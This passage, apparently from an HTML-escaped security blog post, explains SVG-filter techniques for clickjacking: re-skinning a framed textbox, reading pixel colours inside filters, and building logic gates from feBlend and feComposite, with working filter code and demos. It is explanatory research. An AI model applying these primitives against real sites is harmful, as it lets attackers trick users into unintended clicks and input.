&lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;/filter&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;&lt;svg&#xD;&#xA;class=&#34;effect&#34;&#xD;&#xA;width=&#34;768&#34;&#xD;&#xA;height=&#34;768&#34;&#xD;&#xA;viewBox=&#34;0 0 768 768&#34;&#xD;&#xA;xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&#xA;&lt;filter id=&#34;textbox6&#34;&gt;&#xA;&lt;feComposite operator=arithmetic&#xD;&#xA;k1=0 k2=4 k3=0 k4=0 /&gt;&#xA;&lt;feTile x=20 y=56 width=184 height=22 /&gt;&#xA;&lt;feMorphology operator=erode radius=3 result=thick /&gt;&#xA;&lt;feFlood flood-color=#FFF result=white /&gt;&#xA;&lt;feBlend mode=difference in=thick in2=white /&gt;&#xA;&lt;feComposite operator=arithmetic k2=100 /&gt;&#xA;&lt;feColorMatrix type=matrix&#xD;&#xA;values=&#34;0 0 0 0 0&#xD;&#xA;0 0 0 0 0&#xD;&#xA;0 0 0 0 0&#xD;&#xA;0 0 1 0 0&#34; /&gt;&#xA;&lt;feComposite in=SourceGraphic&#xD;&#xA;operator=in /&gt;&#xA;&lt;feTile x=21 y=57 width=182 height=20 /&gt;&#xA;&lt;feBlend in2=white /&gt;&#xA;&lt;feBlend mode=difference in2=white /&gt;&#xA;&lt;feComposite operator=arithmetic k2=1 k4=0.02 /&gt;&#xA;&lt;/filter&gt;&#xA;&lt;/svg&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can see how the textbox is entirely recontextualized now to fit a different design while still being fully functional.&lt;/p&gt;&#xA;&lt;h3 id=&#34;pixel-reading&#34;&gt;Pixel reading&lt;/h3&gt;&#xA;&lt;p&gt;And now we come to what is most likely the most useful attack primitive - pixel reading. That&amp;rsquo;s right, you can use SVG filters to read color data off of images and perform all sorts of logic on them to create really advanced and convincing attacks.&lt;/p&gt;&#xA;&lt;p&gt;The catch is of course, that you&amp;rsquo;ll have to do everything within SVG filters - there is no way to get the data out&lt;sup id=&#34;fnref:6&#34;&gt;&lt;a href=&#34;#fn:6&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;6&lt;/a&gt;&lt;/sup&gt;. Despite that, it is very powerful if you get creative with it.&lt;/p&gt;&#xA;&lt;p&gt;On a higher level, what this lets us do is make everything in a clickjacking attack responsive - fake buttons can have hover effects, pressing them can show fake dropdowns and dialogs, and we can even have fake form validation.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start off with a simple example - detecting if a pixel is pure black, and using it to turn another filter on or off.&lt;/p&gt;&#xA;&lt;style&gt;&#xD;&#xA;  .pix-read-demo {&#xD;&#xA;    --off: #000;&#xD;&#xA;    --on: radial-gradient(#BCC,#9AA);&#xD;&#xA;    &amp;.pix-pride {&#xD;&#xA;      --off: linear-gradient(#5BCFFA 20%,#F5AAB9 20%,#F5AAB9 40%,#FFF 40%, #FFF 60%, #F5AAB9 60%, #F5AAB9 80%, #5BCFFA 80%);&#xD;&#xA;      --on: linear-gradient(#D52800 20%,#FD9954 20%,#FD9954 40%,#FFF 40%, #FFF 60%, #D261A3 60%, #D261A3 80%, #A30061 80%);&#xD;&#xA;    }&#xD;&#xA;    background: #b9fff6;&#xD;&#xA;    position: relative;&#xD;&#xA;    padding: 16px;&#xD;&#xA;    width: 420px;&#xD;&#xA;    max-width: 100%;&#xD;&#xA;    overflow: clip;&#xD;&#xA;    box-sizing: border-box;&#xD;&#xA;    height: 100px;&#xD;&#xA;    border-color: #9ed;&#xD;&#xA;    p {&#xD;&#xA;      margin-left: 70px;&#xD;&#xA;    }&#xD;&#xA;    label {&#xD;&#xA;      display: block;&#xD;&#xA;      width: 64px;&#xD;&#xA;      height: 64px;&#xD;&#xA;      position: absolute;&#xD;&#xA;      top: 16px;&#xD;&#xA;      left: 16px;&#xD;&#xA;      cursor: pointer;&#xD;&#xA;      background: var(--off);&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  html:has(#pixread:checked) {&#xD;&#xA;    .pix-read-demo label {&#xD;&#xA;      background: var(--on);&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;input type=checkbox id=pixread style=&#34;display:none&#34;&gt;&#xD;&#xA;&lt;DIV&gt;&lt;fake-frame class=&#34;pix-read-demo&#34;&gt;&#xD;&#xA;  &lt;label for=pixread&gt;&lt;/label&gt;&#xD;&#xA;  &lt;p&gt;&amp;lt;--- very cool! click to change color&lt;/p&gt;&#xD;&#xA;&lt;/fake-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;p&gt;For this target, we want to detect when the user clicks on the box to change its color, and use that to toggle a blur effect.&lt;/p&gt;&#xA;&lt;div class=&#34;safariNote&#34;&gt;&lt;span&gt;All the examples from here onwards are broken on Safari. Use Firefox or Chrome if you don&#39;t see them.&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;&lt;svg&#xD;&#xA;class=&#34;effect&#34;&#xD;&#xA;width=&#34;420&#34;&#xD;&#xA;height=&#34;100&#34;&#xD;&#xA;viewBox=&#34;0 0 420 100&#34;&#xD;&#xA;xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&#xA;&lt;filter id=pix1&gt;&#xA;&lt;feTile x=&#34;50&#34; y=&#34;50&#34;&#xD;&#xA;width=&#34;4&#34; height=&#34;4&#34; /&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34;&#xD;&#xA;width=&#34;100%&#34; height=&#34;100%&#34; /&gt;&#xA;&lt;/filter&gt;&#xA;&lt;filter id=pix2&gt;&#xA;&lt;feTile x=&#34;50&#34; y=&#34;50&#34;&#xD;&#xA;width=&#34;4&#34; height=&#34;4&#34; /&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34;&#xD;&#xA;width=&#34;100%&#34; height=&#34;100%&#34; /&gt;&#xA;&lt;feComposite operator=arithmetic k2=100 /&gt;&#xA;&lt;/filter&gt;&#xA;&lt;filter id=pix3&gt;&#xA;&lt;feTile x=&#34;50&#34; y=&#34;50&#34;&#xD;&#xA;width=&#34;4&#34; height=&#34;4&#34; /&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34;&#xD;&#xA;width=&#34;100%&#34; height=&#34;100%&#34; /&gt;&#xA;&lt;feComposite operator=arithmetic k2=100 /&gt;&#xA;&lt;feColorMatrix type=matrix&#xD;&#xA;values=&#34;0 0 0 0 0&#xD;&#xA;0 0 0 0 0&#xD;&#xA;0 0 0 0 0&#xD;&#xA;0 0 1 0 0&#34; result=mask /&gt;&#xA;&lt;feGaussianBlur stdDeviation=3&#xD;&#xA;in=SourceGraphic /&gt;&#xA;&lt;feComposite operator=in in2=mask /&gt;&#xA;&lt;feBlend in2=SourceGraphic /&gt;&#xA;&lt;/filter&gt;&#xA;&lt;filter id=pix4&gt;&#xA;&lt;!-- crop to first stripe of the flag --&gt;&#xA;&lt;feTile x=&#34;22&#34; y=&#34;22&#34;&#xD;&#xA;width=&#34;4&#34; height=&#34;4&#34; /&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34; result=&#34;col&#34;&#xD;&#xA;width=&#34;100%&#34; height=&#34;100%&#34; /&gt;&#xA;&lt;!-- generate a color to diff against --&gt;&#xA;&lt;feFlood flood-color=&#34;#5BCFFA&#34;&#xD;&#xA;result=&#34;blue&#34; /&gt;&#xA;&lt;feBlend mode=&#34;difference&#34;&#xD;&#xA;in=&#34;col&#34; in2=&#34;blue&#34; /&gt;&#xA;&lt;!-- k4 is for more lenient threshold --&gt;&#xA;&lt;feComposite operator=arithmetic&#xD;&#xA;k2=100 k4=-5 /&gt;&#xA;&lt;feColorMatrix type=matrix&#xD;&#xA;values=&#34;0 0 0 0 0&#xD;&#xA;0 0 0 0 0&#xD;&#xA;0 0 0 0 0&#xD;&#xA;0 0 1 0 0&#34; result=mask /&gt;&#xA;&lt;feGaussianBlur stdDeviation=3&#xD;&#xA;in=SourceGraphic /&gt;&#xA;&lt;feComposite operator=in in2=mask /&gt;&#xA;&lt;feBlend in2=SourceGraphic /&gt;&#xA;&lt;/filter&gt;&#xA;&lt;/svg&gt;&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;fake-frame class=&#34;pix-read-demo&#34; style=&#34;filter:url(#pix1)&#34;&gt;&#xD;&#xA;  &lt;label for=pixread&gt;&lt;/label&gt;&#xD;&#xA;  &lt;p&gt;&amp;lt;--- very cool! click to change color&lt;/p&gt;&#xD;&#xA;&lt;/fake-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;50&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;50&amp;quot;&lt;/sx-v&gt;&#xD;&#xA;        &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt;&#xD;&#xA;        &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;Let&amp;rsquo;s start off by using two copies of the &lt;code&gt;feTile&lt;/code&gt; filter to first crop out the few pixels we&amp;rsquo;re interested in and then tile those pixels across the entire image.&lt;/p&gt;&#xA;&lt;p&gt;The result is that we now have the entire screen filled with the color of the area we are interested in.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;fake-frame class=&#34;pix-read-demo&#34; style=&#34;filter:url(#pix2)&#34;&gt;&#xD;&#xA;  &lt;label for=pixread&gt;&lt;/label&gt;&#xD;&#xA;  &lt;p&gt;&amp;lt;--- very cool! click to change color&lt;/p&gt;&#xD;&#xA;&lt;/fake-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;&amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;arithmetic&lt;/sx-v&gt; &lt;sx-r&gt;k2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;100&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;We can turn this result into a binary on/off value by using &lt;code&gt;feComposite&lt;/code&gt;&amp;rsquo;s arithmetic the same way as in the last section, but with a way larger &lt;code&gt;k2&lt;/code&gt; value. This makes it so that the output image is either completely black or completely white.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;fake-frame class=&#34;pix-read-demo&#34; style=&#34;filter:url(#pix3)&#34;&gt;&#xD;&#xA;  &lt;label for=pixread&gt;&lt;/label&gt;&#xD;&#xA;  &lt;p&gt;&amp;lt;--- very cool! click to change color&lt;/p&gt;&#xD;&#xA;&lt;/fake-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-t&gt;&amp;lt;feColorMatrix&lt;/sx-t&gt; &lt;sx-r&gt;type&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;matrix&lt;/sx-v&gt;&#xD;&#xA;  &lt;sx-r&gt;values&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0 0 0 0 0&#xD;&#xA;          0 0 0 0 0&#xD;&#xA;          0 0 0 0 0&#xD;&#xA;          0 0 1 0 0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;mask&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feGaussianBlur&lt;/sx-t&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;SourceGraphic&lt;/sx-v&gt;&#xD;&#xA;                &lt;sx-r&gt;stdDeviation&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;3&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;in&lt;/sx-v&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;mask&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feBlend&lt;/sx-t&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;SourceGraphic&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;And just as before, this can be used as a mask. We once again convert it into an alpha matte, but this time apply it to the blur filter.&lt;/p&gt;&#xA;&lt;p&gt;So that&amp;rsquo;s how you can find out whether a pixel is black and use that to toggle a filter!&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;fake-frame class=&#34;pix-read-demo pix-pride&#34;&gt;&#xD;&#xA;  &lt;label for=pixread&gt;&lt;/label&gt;&#xD;&#xA;  &lt;p&gt;&amp;lt;--- very cool! click to change color&lt;/p&gt;&#xD;&#xA;&lt;/fake-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;p&gt;Uh oh! It seems that somebody has changed the target to have a pride-themed button instead!&lt;/p&gt;&#xA;&lt;p&gt;How can we adapt this technique to work with arbitrary colors and textures?&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;fake-frame class=&#34;pix-read-demo pix-pride&#34; style=&#34;filter:url(#pix4)&#34;&gt;&#xD;&#xA;  &lt;label for=pixread&gt;&lt;/label&gt;&#xD;&#xA;  &lt;p&gt;&amp;lt;--- very cool! click to change color&lt;/p&gt;&#xD;&#xA;&lt;/fake-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;pre class=&#34;sx-block&#34;&gt;&lt;code&gt;&lt;sx-c&gt;&amp;lt;!-- crop to first stripe of the flag --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;22&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;22&amp;quot;&lt;/sx-v&gt;&#xD;&#xA;        &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;col&amp;quot;&lt;/sx-v&gt;&#xD;&#xA;        &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-c&gt;&amp;lt;!-- generate a color to diff against --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feFlood&lt;/sx-t&gt; &lt;sx-r&gt;flood-color&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;#5BCFFA&amp;quot;&lt;/sx-v&gt;&#xD;&#xA;         &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;blue&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feBlend&lt;/sx-t&gt; &lt;sx-r&gt;mode&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;difference&amp;quot;&lt;/sx-v&gt;&#xD;&#xA;         &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;col&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;blue&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-c&gt;&amp;lt;!-- k4 is for more lenient threshold --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feComposite&lt;/sx-t&gt; &lt;sx-r&gt;operator&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;arithmetic&lt;/sx-v&gt;&#xD;&#xA;             &lt;sx-r&gt;k2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;100&lt;/sx-v&gt; &lt;sx-r&gt;k4&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;-5&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-c&gt;&amp;lt;!-- do the masking and blur stuff... --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;...&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;The solution is pretty simple - we can simply use &lt;code&gt;feBlend&lt;/code&gt;&amp;rsquo;s difference combined with a &lt;code&gt;feColorMatrix&lt;/code&gt; to join the color channels to turn the image into a similar black/white matte as before. For textures we can use &lt;code&gt;feImage&lt;/code&gt;, and for non-exact colors we can use a bit of &lt;code&gt;feComposite&lt;/code&gt;&amp;rsquo;s arithmetic to make the matching threshold more lenient.&lt;/p&gt;&#xA;&lt;p&gt;And that&amp;rsquo;s it, a simple example of how we can read a pixel value and use it to toggle a filter.&lt;/p&gt;&#xA;&lt;!--On a higher level, what we can do is detect the color of arbitrary pixels and render our own fake ui accordingly.--&gt;&#xD;&#xA;&lt;h3 id=&#34;logic-gates&#34;&gt;Logic gates&lt;/h3&gt;&#xA;&lt;!-- example: a button has hover effects, pressing it opens a modal that dims the background, the modal requires us to ... --&gt;&#xD;&#xA;&lt;p&gt;But here&amp;rsquo;s the part where it gets fun! We can repeat the pixel-reading process to read out multiple pixels, and then run logic on them to program an attack.&lt;/p&gt;&#xA;&lt;p&gt;By using &lt;code&gt;feBlend&lt;/code&gt; and &lt;code&gt;feComposite&lt;/code&gt;, we can recreate all logic gates and make SVG filters &lt;a href=&#34;https://en.wikipedia.org/wiki/Functional_completeness&#34;&gt;functionally complete&lt;/a&gt;. This means that we can program anything we want, as long as it is not timing-based&lt;sup id=&#34;fnref:7&#34;&gt;&lt;a href=&#34;#fn:7&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;7&lt;/a&gt;&lt;/sup&gt; and doesn&amp;rsquo;t take up too many resources&lt;sup id=&#34;fnref:8&#34;&gt;&lt;a href=&#34;#fn:8&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;8&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&#xA;&lt;div id=&#34;logic-gates-outer&#34;&gt;&#xD;&#xA;&lt;div id=&#34;logic-gates-box&#34;&gt;&#xD;&#xA;  &lt;div&gt;&#xD;&#xA;    &lt;label&gt;&lt;input type=&#34;checkbox&#34; name=&#34;logic1&#34;&gt;Input A&lt;/label&gt;&#xD;&#xA;    &lt;label&gt;&lt;input type=&#34;checkbox&#34; name=&#34;logic2&#34;&gt;Input B&lt;/label&gt;&#xD;&#xA;  &lt;/div&gt;&#xD;&#xA;  &lt;p&gt;Input: &lt;logic-gate&gt;&lt;/logic-gate&gt;&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;&amp;nbsp;&amp;nbsp;NOT: &lt;logic-gate style=&#34;filter:url(#logic-not)&#34;&gt;&lt;/logic-gate&gt;&#xD;&#xA;    &lt;br&gt;&lt;code&gt;&amp;lt;feBlend mode=difference in2=white /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;&amp;nbsp;&amp;nbsp;AND: &lt;logic-gate style=&#34;filter:url(#logic-and)&#34;&gt;&lt;/logic-gate&gt;&#xD;&#xA;    &lt;br&gt;&lt;code&gt;&amp;lt;feComposite operator=arithmetic k1=1 /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;OR: &lt;logic-gate style=&#34;filter:url(#logic-or)&#34;&gt;&lt;/logic-gate&gt;&#xD;&#xA;    &lt;br&gt;&lt;code&gt;&amp;lt;feComposite operator=arithmetic k2=1 k3=1 /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;&amp;nbsp;&amp;nbsp;XOR: &lt;logic-gate style=&#34;filter:url(#logic-xor)&#34;&gt;&lt;/logic-gate&gt;&#xD;&#xA;    &lt;br&gt;&lt;code&gt;&amp;lt;feBlend mode=difference in=a in2=b /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;&amp;nbsp;NAND: &lt;logic-gate style=&#34;filter:url(#logic-and) url(#logic-not)&#34;&gt;&lt;/logic-gate&gt;&#xD;&#xA;    &lt;br&gt;&lt;code&gt;(AND + NOT)&lt;/code&gt;&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;&amp;nbsp;&amp;nbsp;NOR: &lt;logic-gate style=&#34;filter:url(#logic-or) url(#logic-not)&#34;&gt;&lt;/logic-gate&gt;&#xD;&#xA;    &lt;br&gt;&lt;code&gt;(OR + NOT)&lt;/code&gt;&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;&amp;nbsp;XNOR: &lt;logic-gate style=&#34;filter:url(#logic-xor) url(#logic-not)&#34;&gt;&lt;/logic-gate&gt;&#xD;&#xA;    &lt;br&gt;&lt;code&gt;(XOR + NOT)&lt;/code&gt;&lt;/p&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;  logic-gate {&#xD;&#xA;    display: inline-block;&#xD;&#xA;    vertical-align: middle;&#xD;&#xA;    width: 64px;&#xD;&#xA;    height: 32px;&#xD;&#xA;    --inA: #000;&#xD;&#xA;    --inB: #000;&#xD;&#xA;    clip-path: rect(0% 100% 100% 0%);&#xD;&#xA;    background: linear-gradient(90deg, var(--inA) 50%, var(--inB) 50%);&#xD;&#xA;    margin: 4px;&#xD;&#xA;    margin-right: 24px;&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  #logic-gates-outer, #calculator-outer {&#xD;&#xA;    display: flex;&#xD;&#xA;    justify-content: center;&#xD;&#xA;    background: #b3b3b3;&#xD;&#xA;    border: 1px inset #EEE;&#xD;&#xA;    padding: 16px 0;&#xD;&#xA;    box-sizing: border-box;&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  #logic-gates-box, #calculator-box {&#xD;&#xA;    label {&#xD;&#xA;      -webkit-user-select: none;&#xD;&#xA;      user-select: none;&#xD;&#xA;    }&#xD;&#xA;    text-align: center;&#xD;&#xA;    background: #b3b3b3;&#xD;&#xA;    max-width: fit-content;&#xD;&#xA;    &amp; &gt; p {&#xD;&#xA;      font-family: var(--font-code);&#xD;&#xA;      border: 1px outset #EEE;&#xD;&#xA;      background: #C0C0C0;&#xD;&#xA;      color: #000;&#xD;&#xA;      font-weight: 600;&#xD;&#xA;      padding: 6px;&#xD;&#xA;      margin: 4px;&#xD;&#xA;      text-align: center;&#xD;&#xA;      code {&#xD;&#xA;        font-family: var(--font-mono);&#xD;&#xA;        color: #04593b;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  #logic-gates-box:has([name=&#34;logic1&#34;]:checked) logic-gate { --inA: #FFF; }&#xD;&#xA;  #logic-gates-box:has([name=&#34;logic2&#34;]:checked) logic-gate { --inB: #FFF; }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;&lt;svg&#xD;&#xA;class=&#34;effect&#34;&#xD;&#xA;width=&#34;64&#34;&#xD;&#xA;height=&#34;32&#34;&#xD;&#xA;viewBox=&#34;0 0 64 32&#34;&#xD;&#xA;xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&#xA;&lt;filter id=&#34;logic-not&#34;&gt;&#xA;&lt;!-- util --&gt;&#xA;&lt;feTile x=&#34;25%&#34; y=&#34;50%&#34; width=&#34;4&#34; height=&#34;4&#34; /&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34; width=&#34;100%&#34; height=&#34;100%&#34; result=a /&gt;&#xA;&lt;feTile x=&#34;75%&#34; y=&#34;50%&#34; width=&#34;4&#34; height=&#34;4&#34; in=SourceGraphic /&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34; width=&#34;100%&#34; height=&#34;100%&#34; result=b /&gt;&#xA;&lt;feFlood flood-color=#FFF result=white /&gt;&#xA;&lt;!-- logic --&gt;&#xA;&lt;feBlend mode=difference in=a in2=white /&gt;&#xA;&lt;/filter&gt;&#xA;&lt;filter id=&#34;logic-and&#34;&gt;&#xA;&lt;!-- util --&gt;&#xA;&lt;feTile x=&#34;25%&#34; y=&#34;50%&#34; width=&#34;4&#34; height=&#34;4&#34; /&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34; width=&#34;100%&#34; height=&#34;100%&#34; result=a /&gt;&#xA;&lt;feTile x=&#34;75%&#34; y=&#34;50%&#34; width=&#34;4&#34; height=&#34;4&#34; in=SourceGraphic /&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34; width=&#34;100%&#34; height=&#34;100%&#34; result=b /&gt;&#xA;&lt;!-- logic --&gt;&#xA;&lt;feComposite operator=arithmetic k1=1 in=a in2=b /&gt;&#xA;&lt;/filter&gt;&#xA;&lt;filter id=&#34;logic-or&#34;&gt;&#xA;&lt;!-- util --&gt;&#xA;&lt;feTile x=&#34;25%&#34; y=&#34;50%&#34; width=&#34;4&#34; height=&#34;4&#34; /&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34; width=&#34;100%&#34; height=&#34;100%&#34; result=a /&gt;&#xA;&lt;feTile x=&#34;75%&#34; y=&#34;50%&#34; width=&#34;4&#34; height=&#34;4&#34; in=SourceGraphic /&gt;&#xA;&lt;feTile x=&#34;0&#34; y=&#34;0&#34; width=&#34;100%&#34; height=&#34;100%&#34; result=b /&gt;&#xA;&lt;!-- logic --&gt;&#xA;&lt;feComposite operator=arithmetic k2=1 k3=1 in=a 